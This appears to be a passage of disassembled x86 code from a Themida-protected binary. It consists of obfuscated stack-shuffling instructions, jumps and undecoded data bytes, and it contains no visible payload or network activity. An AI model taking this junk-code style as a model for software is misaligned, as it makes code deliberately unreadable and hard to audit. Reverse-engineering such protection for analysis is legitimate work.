		sub	ah, 25h
		and	cl, ah
		pop	eax
		dec	cl
		neg	cl
		sub	cl, 93h
		mov	dl, cl
		pop	ecx
		xor	dl, 1Ah
		jmp	loc_595253
; ---------------------------------------------------------------------------


loc_5A2DC5:				; CODE XREF: Themida_:00594D3Aj
		mov	ebp, [esp]
		jmp	loc_59777E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3C8BFB89h, 0E0895024h, 405h,	40500h,	4870000h, 0EC835C24h
		dd 242C8904h, 4EC81h, 0BEE90000h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2DF7:				; CODE XREF: Themida_:00592363j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_5A4BE0
; ---------------------------------------------------------------------------
		db 1
aBSfoprNqwnS	db 'ÃØFoPRºQWN)ÓéÊ)',0
		align 10h
		dd 0A166F381h, 2AE9A60Ch, 95FFFF55h, 9595D5F7h,	0FEFC82E9h
		dd 39822DFFh, 0D829772Fh, 2F398205h, 0E8C15B77h, 99B0D06h
		dd 0C8313A17h, 88E9C131h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2E53:				; CODE XREF: Themida_:005A7039j
		add	esi, 4
		add	esi, 4
		jmp	loc_597627
; ---------------------------------------------------------------------------
		dd 0E903EFC1h, 30EFh, 4BFh, 4EAAE900h, 575EFFFFh, 0FF3F69E9h
		dd 2434FFFFh, 5F2434FFh, 575D5455h, 468h, 0FD015F00h, 4E78E95Fh
		dd 3489FFFFh, 73DFBE24h, 846860DDh, 89000033h, 0C9BA2414h
		dd 0E968E814h, 0FFFF0349h, 121A68h, 6F20E900h, 0CD81FFFFh
		dd 45050BE7h, 24048155h, 1, 0CDF5815Dh,	31389927h, 242C8BEAh
		dd 104C483h, 0F375E9D7h, 34FFFFFEh, 2434FF24h, 0DEF5E959h
		dd 0E95AFFFFh, 0FFFF459Dh
; ---------------------------------------------------------------------------


loc_5A2EF0:				; CODE XREF: Themida_:005A3011j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		jmp	loc_59BC1B
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24248B24h, 0E9F9F766h, 0FFFF3E30h
; ---------------------------------------------------------------------------


loc_5A2F10:				; CODE XREF: Themida_:0059684Aj
		add	esp, 4
		push	594Eh
		jmp	loc_5A5186
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1Ch
		dd 81575815h, 0D71F11CBh, 0B3EB8111h, 1E3D1B4h,	0E9815BD9h
		dd 43D706E9h, 163AE981h, 0A96861A8h, 89000070h,	0C788241Ch
		dd 0FF8DC6E9h, 0ACE95BFFh, 5AFFFEFCh, 0AE4E94Bh, 0E289FFFFh
		dd 4C281h, 0C2830000h, 24148704h, 24048F5Ch, 6624248Bh
		dd 9C240409h, 0FEEFF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2F79:				; CODE XREF: Themida_:0059EE10j
		pop	edx
		add	edx, 4
		jmp	loc_59A81F
; ---------------------------------------------------------------------------


loc_5A2F85:				; CODE XREF: Themida_:005A29ABj
		push	68E1h
		jmp	loc_5A7128
; ---------------------------------------------------------------------------


loc_5A2F8F:				; CODE XREF: Themida_:00599437j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 55h
		dd 0B76F13BDh, 5DEA2976h, 0E9B6858h, 14890000h,	2474FF24h
		dd 48F5A04h, 0AFE95C24h, 52000000h, 172C18BAh, 0E9D3312Dh
		dd 0FFFF6004h, 8F0CEB81h, 0B22D10E1h, 12DE73Ch,	3CB205D8h
		dd 15B2DE7h, 0DE22DC8h,	0FA2D7C05h, 0E914E616h,	0FFFF84D9h
		dd 0E680E686h, 80E6D0D7h, 0C680C5CEh, 65F680BEh, 0FFE616E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3001:				; CODE XREF: Themida_:0059C7FEj
		sub	eax, 58E43C72h
		sub	eax, ecx
		add	eax, 58E43C72h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A2EF0
; ---------------------------------------------------------------------------
		dw 3058h
		dd 148B66D0h, 4EC8124h,	89000000h, 0E2892414h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5A681A
; ---------------------------------------------------------------------------


loc_5A3031:				; CODE XREF: Themida_:0059482Aj
		sub	esi, 479832C9h
		add	ebp, esi
		pop	esi
		jmp	loc_597211
; ---------------------------------------------------------------------------


loc_5A303F:				; CODE XREF: Themida_:0059D0DEj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	5346h
		jmp	loc_5A5454
; ---------------------------------------------------------------------------


loc_5A3057:				; CODE XREF: Themida_:0059CD1Aj
		sub	ecx, 644A1D39h
		add	ecx, edx
		add	ecx, 644A1D39h
		jmp	loc_59CDB6
; ---------------------------------------------------------------------------
		dw 1E9h
		dd 1FFFEEFh, 0E904246Ch, 0FFFF62FCh, 4A2FEF81h,	0D7017D88h
		dd 0FF44A1E9h, 9EB850FFh, 0E936FA44h, 0FFFF400Ah, 282BE959h
		dd 0ED80FFFFh, 71D6803h, 0C890000h, 5796B124h, 0C781E789h
		dd 4, 0E904EF83h, 0FFFF695Dh
; ---------------------------------------------------------------------------


loc_5A30B4:				; CODE XREF: Themida_:005A358Bj
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		push	60602868h
		pop	edi
		jmp	loc_59C6CC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8300h, 0FF3EB6E9h, 52E089FFh, 4BAh,	29262D00h
		dd 0D001336Dh, 6D292605h, 24148B33h, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 405h, 24048700h, 6824248Bh, 799Bh, 0E9240489h
		dd 0FFFFDBD2h, 0BE243489h, 622517AAh, 81E6D14Eh, 0AC43EEC6h
		dd 90D4E96Eh, 0E957FFFFh, 0FFFFC5B5h, 5858C529h, 815A5452h
		dd 4C2h, 4EA8300h, 8B241487h, 14892424h, 4BA24h, 0D5010000h
		dd 0FF5923E9h, 0BA525AFFh, 2D2F74E4h, 18A1F281h, 50420D1Eh
		dd 0FA2DCD68h, 0E8D15869h, 3A9FE940h, 295EFFFFh, 0C875FF9h
		dd 0E6CE924h, 0B951FFFFh, 4, 8159CA01h,	4C2h, 24148700h
		dd 376AE9h, 24048900h, 0FFF02DE9h, 4040BDFFh, 0C6817DC8h
		dd 1B723ACEh, 3CE9EE29h, 52FFFF91h, 0FF5536E9h,	24048BFFh
		dd 81E78957h, 4C7h, 55505600h, 0FF277BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A31D1:				; CODE XREF: Themida_:0059796Fj
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5A3BF7
; ---------------------------------------------------------------------------


loc_5A31DF:				; CODE XREF: Themida_:00592F12j
		pop	esp
		push	2ACBh
		jmp	loc_5A2AB6
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 62DD7859h, 2434FF5Dh, 322CE958h, 83580000h, 348904ECh
		dd 2474FF24h, 24348B04h, 4C481h, 48F0000h, 24248B24h, 0FEF4F6E9h
		dd 243C89FFh, 12B96651h, 559BE93Dh, 0C681FFFFh,	7EF80DFAh
		dd 5D2434FFh, 1B7268h, 24048900h, 0BFE9E089h, 5BFFFFD3h
		dd 80CCCD80h, 5AE94EF5h, 54FFFFEBh, 0FF2A4AE9h,	241487FFh
		dd 0FFD90AE9h, 0FB0158FFh, 40C0E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3262:				; CODE XREF: Themida_:005933E0j
		mov	edx, ecx
		jmp	loc_593648
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 86h
		dd 575E667Ah, 3F1CBF66h, 3E7C166h, 6866h, 24048166h, 37E96728h
		dd 8F00000Ch, 0E95C2404h, 0FFFF8F18h
; ---------------------------------------------------------------------------


loc_5A3290:				; CODE XREF: Themida_:005A3C08j
		pop	ebp
		not	ebx
		shr	ebx, 4
		jmp	loc_59A0A0
; ---------------------------------------------------------------------------


loc_5A329B:				; CODE XREF: Themida_:005A19F6j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	35B9h
		mov	[esp], ecx
		jmp	loc_5A485D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C892424h, 2BD24h, 3E90000h,	58FFFFFAh, 0FF018CE9h
		dd 21EE81FFh, 89D7BEF9h, 6F0DE9F0h, 8859FFFFh, 241C8BFAh
		dd 0E9E38953h, 0FFFF0393h
; ---------------------------------------------------------------------------


loc_5A32EC:				; CODE XREF: Themida_:0059973Cj
		push	esi
		mov	esi, 5BBC424Ah
		inc	esi
		jmp	loc_5A70A9
; ---------------------------------------------------------------------------
		dd 0D214EE81h, 0EE31AA1Ch, 0EFC5E95Dh, 8968FFFFh, 8900006Ch
		dd 0B652241Ch, 0F488501Dh, 0E958E388h, 0FFFF29D9h, 0A7EB8166h
		dd 357CE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3326:				; CODE XREF: Themida_:005981F0j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5A4E7D
; ---------------------------------------------------------------------------
		dw 0EE30h
		dd 34E95359h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A333F:				; CODE XREF: Themida_:005A7123j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_5A273E
; ---------------------------------------------------------------------------
		dw 158h
		dd 2D5D5AD0h, 158F7722h, 2205D829h, 68158F77h, 6092h, 0BD242C89h
		dd 3C2B4D34h, 0C581D5F7h, 2BE53746h, 4D08EDC1h,	1ED8145h
		dd 2DC2D88Bh, 7BFE2777h, 0FF661DE9h, 2434FFFFh,	4EC8359h
		dd 54243C89h, 4C7815Fh,	81000000h, 4C7h, 428FE900h, 34FFFFFFh
		dd 2434FF24h, 4C4835Ah,	8904EC83h, 58542404h, 0ECBB5355h
		dd 87175E3Ah, 94DBE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A33C6:				; CODE XREF: Themida_:0059CA90j
		push	edi
		push	ebp
		mov	ebp, 6D1C33D8h
		jmp	loc_599B33
; ---------------------------------------------------------------------------
		dw 0EA00h
		dd 0FF6AC280h, 81592434h, 4C4h,	71C38000h, 0E952D300h
		dd 0FFFFB50Fh
; ---------------------------------------------------------------------------


loc_5A33EC:				; CODE XREF: Themida_:005946B0j
		or	edx, 37E10D8h
		add	edx, 4BE7547Fh
		jmp	loc_597FFE
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0D36E9h, 81C72900h, 4B6405C7h, 24048B60h, 0FF71B2E9h
		dd 58C289FFh, 15F6C7B9h, 5AD101CBh, 1848E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3426:				; CODE XREF: Themida_:00597D61j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 83241C8Bh, 0D2E904C4h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A344B:				; CODE XREF: Themida_:005A4032j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	55E8h
		mov	[esp], eax
		mov	eax, 5FD43B84h
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_59964C
; ---------------------------------------------------------------------------
		dd 1DE977B6h, 5CFFFF58h, 0F66E1F6h, 6866CCB6h, 89662CB9h
		dd 0CEE9240Ch, 81FFFFE7h, 0B6767DEDh, 0FFC58362h, 4EC81h
		dd 14890000h, 6AE6BA24h, 0C2813BC0h, 0EF617A42h, 0FFE9D529h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A34AF:				; CODE XREF: Themida_:005A223Cj
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A14D4
; ---------------------------------------------------------------------------
		db 51h
		dd 151780B9h, 84C18101h, 0E9FEEAE8h, 0FFFFCD27h, 694801BFh
		dd 0E9F78715h, 0FFFF0B4Ah, 5C240487h, 0FF7A0EE9h, 39685AFFh
		dd 89000049h, 0E951241Ch, 0FFFF6FE2h, 0C180D7B1h, 80D928D8h
		dd 2C5BD8E9h, 4C828E9h,	962E9E9h, 15DFFFFh, 0EFEE9F3h
		dd 8B68FFFFh, 5D2CED22h, 0BA5FED81h, 8155B142h,	7A742434h
		dd 0A4E9378Bh, 5DFFFEFAh, 98E9F229h, 5400001Ah,	4C7815Fh
		dd 55000000h, 0FF9E72E9h, 2434FFFFh, 582434FFh,	4C481h
		dd 0D2680000h, 89000011h, 0E9542414h, 0FFFFA55Ah, 17F42B9h
		dd 0F36CE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A356A:				; CODE XREF: Themida_:0059751Cj
		add	eax, edx
		pop	edx
		pop	edx
		push	ebx
		jmp	loc_5A152C
; ---------------------------------------------------------------------------


loc_5A3574:				; CODE XREF: Themida_:0059DE02j
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		mov	edx, [esp]
		jmp	loc_5A4A2A
; ---------------------------------------------------------------------------


loc_5A3584:				; CODE XREF: Themida_:0059EDCBj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5A30B4
; ---------------------------------------------------------------------------


loc_5A3590:				; CODE XREF: Themida_:00596C72j
		sub	edi, 5AB73CCEh
		jmp	loc_59DDFC
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 245C0100h, 3ECFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A35AA:				; CODE XREF: Themida_:005A0E6Aj
		mov	edx, 461130DFh
		xor	edx, 3A660F87h
		not	edx
		or	edx, 7E4A4F11h
		sub	edx, 0FFC43F6Bh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A2291
; ---------------------------------------------------------------------------


loc_5A35D3:				; CODE XREF: Themida_:0059AE18j
		xor	ecx, esi
		pop	esi
		jmp	loc_5A14ED
; ---------------------------------------------------------------------------
		db 68h
		dd 1C9C6D6Eh, 0FF39EEE9h, 0E9EA21FFh, 0FFFF6665h, 9D1C77FFh
		dd 11665866h, 0E99C2404h, 0FFFEE974h, 52E08950h, 4BAh
		dd 28F5E900h, 0E9520000h, 0FFFF9D1Ah
; ---------------------------------------------------------------------------


loc_5A3610:				; CODE XREF: Themida_:005A7155j
		pop	eax
		pop	ebp
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_59A3BE
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89241489h, 4C281E2h, 0E9000000h, 0FFFFFE8Fh
; ---------------------------------------------------------------------------


loc_5A3634:				; CODE XREF: Themida_:0059D222j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		neg	ebx
		jmp	loc_5A162D
; ---------------------------------------------------------------------------
		dd 4C481h, 0CE280000h, 0E9240C8Bh, 0FFFFD6DBh
; ---------------------------------------------------------------------------


loc_5A3658:				; CODE XREF: Themida_:00594EC9j
		add	esp, 4
		add	esi, 4
		jmp	loc_5951DE
; ---------------------------------------------------------------------------
		db 68h,	0D7h, 3Ch
		dd 60E90000h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3673:				; CODE XREF: Themida_:0059401Bj
		push	5AF77FB4h
		pop	eax
		not	eax
		or	eax, 18803AA9h
		add	eax, 72ACB9BAh
		add	ebp, eax
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, 260A434Ah
		sub	edi, 260A4348h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_59BF2B
; ---------------------------------------------------------------------------


loc_5A36A5:				; CODE XREF: Themida_:005A0B20j
		push	eax
		jmp	loc_5A62B5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 4C48158h, 0E9000000h, 0FFFF8B7Ch
; ---------------------------------------------------------------------------


loc_5A36C0:				; CODE XREF: Themida_:005A589Aj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, 5D0E620Bh
		jmp	loc_5A08FC
; ---------------------------------------------------------------------------


loc_5A36E3:				; CODE XREF: Themida_:00593E90j
		mov	[esp], ebp
		push	651Ch
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5971D9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BE243489h, 7402BFDh, 0B4CE814Eh, 0E91C1645h, 0FFFF8E1Ah
		dd 4C781h, 0FDE90000h, 25FFFEEBh, 124C5A61h, 3501E883h
		dd 100011FBh, 8158C301h, 4EBh, 241C3300h, 33241C31h, 248B241Ch
		dd 24148924h, 0FFC06BE9h, 243489FFh, 0FF9F1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A374D:				; CODE XREF: Themida_:005A6779j
		sub	edx, 14667B75h
		pop	ebx
		add	edx, 4
		push	edx
		jmp	loc_5988C9
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 2
		dd 0FFEAFAE9h, 4ABC68FFh, 4EE90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A376F:				; CODE XREF: Themida_:0059C7D7j
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5A5657
; ---------------------------------------------------------------------------
		dd 4B6BC181h, 815D6F2Dh, 2973DBE9h, 81F90142h, 2973DBC1h
		dd 4EC8142h, 89000000h,	0E951242Ch, 0FFFF03ACh,	3304C483h
		dd 34312434h, 24343324h, 2424D35Ch, 0E7BAE99Ch,	0C159FFFEh
		dd 3EE902E9h, 8B00000Eh, 0C481242Ch, 4,	31241C33h, 1C33241Ch
		dd 24248B24h, 9C2404D2h, 0FEE793E9h, 5BFA88FFh,	0C380DA86h
		dd 80DA8601h, 0E2C0FFC2h, 6FE2E903h, 2134FFFFh,	0F608E0C0h
		dd 285D04D8h, 5CE958C2h, 33FFFF1Fh, 34312434h, 0F753E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A380E:				; CODE XREF: Themida_:00596199j
		and	ebp, 33306820h
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A38F7
; ---------------------------------------------------------------------------
		db 89h
		dd 5468240Ch, 0E978BF1Ah, 0FFFFC28Dh, 5C241487h, 0FF3B0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3835:				; CODE XREF: Themida_:005A644Cj
		push	ebx
		pop	edi
		pop	ebx
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_5978C1
; ---------------------------------------------------------------------------


loc_5A3841:				; CODE XREF: Themida_:005963DDj
		add	ebx, 31E91AFEh
		push	ebp
		mov	ebp, 316A38B1h
		sub	ebx, ebp
		jmp	loc_595704
; ---------------------------------------------------------------------------


loc_5A3854:				; CODE XREF: Themida_:00593D53j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_592F00
; ---------------------------------------------------------------------------
		db 66h
		dd 6E2C05Bh, 2C69B050h,	0FF78E9ECh, 0C142FFFFh,	0B95107EAh
		dd 7CCF4B65h, 3159CA29h, 0C3015AD0h, 4EB8358h, 5C241C87h
		dd 1B63E9h, 242C8B00h, 5004C483h, 4A6C44B8h, 0E9C30908h
		dd 3B5h
; ---------------------------------------------------------------------------


loc_5A38AC:				; CODE XREF: Themida_:0059290Bj
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	5B1Dh
		mov	[esp], eax
		push	4CDCh
		mov	[esp], ebp
		push	ebx
		push	3FAD1229h
		push	dword ptr [esp]
		jmp	loc_597397
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 24048BC1h, 0F04C483h, 8B66C0B6h, 68562414h, 23AFh, 83242489h
		dd 0FF042404h, 0D0E92434h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A38F7:				; CODE XREF: Themida_:005A381Aj
		and	ebp, 6B3C4DF4h
		not	ebp
		add	ebp, 203045F9h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_59486C
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9FFFFBDh, 2E65h, 0AEBD9535h, 8BC7297Ch, 5E92404h
		dd 4BFFFF7Eh, 2A30EB81h, 0F3815A3Fh, 0A0766930h, 0B6E95F53h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: Themida_:00595A15j
		sub	edx, ecx
		pop	ecx
		xor	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		add	edx, 4
		jmp	loc_596D2F
; ---------------------------------------------------------------------------
		db 68h
		dd 817h, 81242489h, 42404h, 5AE90000h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A396F:				; CODE XREF: Themida_:00596A9Fj
		and	eax, esi
		mov	esi, [esp]
		push	esi
		push	esp
		jmp	loc_59497D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5AE95000h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A3987:				; CODE XREF: Themida_:005A2D0Dj
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	5271h
		mov	[esp], ebp
		mov	ebp, 2F3C0676h
		not	ebp
		and	ebp, 26236938h
		xor	ebp, 59B931A5h
		push	edi
		mov	edi, 647541EAh
		push	ecx
		jmp	loc_59BB23
; ---------------------------------------------------------------------------
		dd 577CEE81h, 0C281ED6Bh, 97111E4h, 1831C281h, 0EA815EEFh
		dd 258B5AC6h, 0C281F201h, 258B5AC6h, 1831EA81h,	49E95EEFh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A39E3:				; CODE XREF: Themida_:00596979j
		push	0F8h
		mov	[esp], edx
		jmp	loc_596EB0
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 0FFB33CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A39FD:				; CODE XREF: Themida_:005929CFj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	473Dh
		mov	[esp], eax
		mov	eax, 1EE60A81h
		shl	eax, 3
		push	edx
		mov	edx, esp
		jmp	loc_59386E
; ---------------------------------------------------------------------------


loc_5A3A22:				; CODE XREF: Themida_:00593248j
		sub	ebp, 0FFFFFFFFh
		or	ebp, 0E015C98h
		and	ebp, 7AEB0879h
		shr	ebp, 8
		add	ebp, 3EFA8981h
		push	edx
		jmp	loc_5A5218
; ---------------------------------------------------------------------------
		db 89h
		dd 0D7215DEAh, 8124148Bh, 4C4h,	0E5E78100h, 0F714B92Dh
		dd 96E950DFh
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3A5F:				; CODE XREF: Themida_:0059AC5Ej
		dec	ebx
		jmp	loc_595BD8
; ---------------------------------------------------------------------------
		db 29h,	0CFh, 0E9h
		dd 0FFFF2570h, 8B24048Fh, 14332424h, 4566E924h,	348BFFFFh
		dd 4C48124h, 5D000000h,	0FFF7C8E9h, 21665CFFh, 0E99C2404h
		dd 0FFFEE4DCh, 753BB850h, 0C9BD17C7h, 1E8388Ah,	0E3E9E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3AA6:				; CODE XREF: Themida_:005A5C91j
		mov	[esp], edi
		mov	edi, 1D2E761Fh
		add	[esp+8], edi
		pop	edi
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5A0C4D
; ---------------------------------------------------------------------------
		dd 5D14CD81h, 3EE96777h
		db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A3AC7:				; CODE XREF: Themida_:0059A70Fj
		push	ecx
		mov	ecx, 60EE3B37h
		and	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		neg	esi
		add	esi, 58459430h
		add	eax, esi
		jmp	loc_59F9D7
; ---------------------------------------------------------------------------
		dd 0E7641EBBh, 8BD8296Fh, 0C483241Ch, 4EC8304h,	53242C89h
		dd 0F66776BBh, 6A686817h, 24E90000h, 1FFFF1Fh, 685751D8h
		dd 65484002h, 4FD7F75Fh, 0A7CAF781h, 0F989E6B3h, 5F2434FFh
		dd 4C481h, 87E90000h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3B2F:				; CODE XREF: Themida_:005A257Ej
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A557D
; ---------------------------------------------------------------------------
aBu?Us		db 'î·?Ãué{',8,0
		dw 8100h
		dd 232F35EFh, 0E9F929D1h, 16FEh, 0BBE9D601h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3B5F:				; CODE XREF: Themida_:005957AEj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dd 401665Ch, 0F1E99C24h, 0F7FFFEE3h, 685B2414h,	71A5h
		dd 0B9240C89h, 768020C8h, 0F708E1C1h, 0E981D9h,	8139E755h
		dd 20469BE1h, 908BE912h, 30ACFFFFh, 5E3268D8h, 14890000h
		dd 982DE924h, 0C501FFFFh, 44EE8158h, 8160FC2Fh,	0D81F09C6h
		dd 55EE0148h, 0FF6AA9E9h, 0FFC580FFh, 808AED80h, 0A0E953C5h
		dd 83FFFF89h, 94E904ECh, 68FFFFEDh, 5764699Bh, 699F3558h
		dd 0C1015764h, 69E95258h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3BF7:				; CODE XREF: Themida_:005A31DAj
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 6F107AD1h
		push	ebp
		mov	ebp, 6B117D3Bh
		xor	ebx, ebp
		jmp	loc_5A3290
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF7FD5E9h, 24048FFFh, 0E924248Bh, 0FFFEE350h, 1E2968h
		dd 48F5400h, 93E95324h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3C2F:				; CODE XREF: Themida_:005A6166j
		sub	dword ptr [esp], 1763690Ch
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_599346
; ---------------------------------------------------------------------------
		db 40h
		dd 6505D8F7h, 357CC640h, 75322270h, 24348150h, 284D2586h
		dd 0FEF202E9h, 0EB8158FFh, 9D24AC7h, 34FFDA31h,	0C328E924h
		dd 48BFFFFh, 720E924h, 0BD550000h, 7F46D298h, 0A8E9EE01h
		dd 1FFFFF8h, 0B7C581C5h, 5011F713h, 52606CB8h, 0EC83487Ah
		dd 24148904h, 0FF893CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3CA1:				; CODE XREF: Themida_:00599151j
		push	ecx
		sub	esp, 4
		push	esp
		jmp	loc_5A1CB7
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0EE815BDEh, 4, 8B243487h, 3C892424h, 0B1B6824h
		dd 24890000h, 24048124h, 4, 468555Fh, 5D000000h, 0FF9BF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3CE1:				; CODE XREF: Themida_:005A0D17j
		push	ebp
		mov	ebp, 0C892A804h
		add	esi, ebp
		pop	ebp
		jmp	loc_59D596
; ---------------------------------------------------------------------------
		db 89h
		dd 9068243Ch, 8900001Fh, 0DBE2434h, 0E9279261h,	0FFFFB232h
; ---------------------------------------------------------------------------


loc_5A3D04:				; CODE XREF: Themida_:0059AF17j
		and	esi, 1D9563Ch
		push	ebp
		mov	ebp, 18CF0864h
		or	ebp, 65F82E4Eh
		shl	ebp, 3
		inc	ebp
		add	ebp, 79193110h
		neg	ebp
		jmp	loc_59609A
; ---------------------------------------------------------------------------
		db 1
		dd 2E1AE9F9h, 0D2BB0000h, 81213F7Dh, 786DB1CBh,	68B95143h
		dd 29148E74h, 0BD5559CBh, 5087291Ah, 22F9ED81h,	0EB213BD3h
		dd 5EBC15Dh, 35EEB951h,	0E5E90312h, 8BFFFF9Bh, 0C483241Ch
		dd 24048F04h, 0EDE9565Ch, 5AFFFF8Ch, 51E78957h,	4B9h, 0E2EF8100h
		dd 0E922010Dh, 0FFFFECBFh, 0FEE1E7E9h, 4EC81FFh, 89000000h
		dd 53552434h, 0DB6EC1BBh, 245C012Ah, 815E5B04h,	0DB6EC1EEh
		dd 0F789572Ah, 5E5FF989h, 4EB815Dh, 16E9547h, 4C381CBh
		dd 0FF6E9547h, 34FF2434h, 240C8B24h, 4C481h, 0C4810000h
		dd 4, 4C481h, 1C870000h, 0F665C24h, 9C2404ABh, 0FF11D6E9h
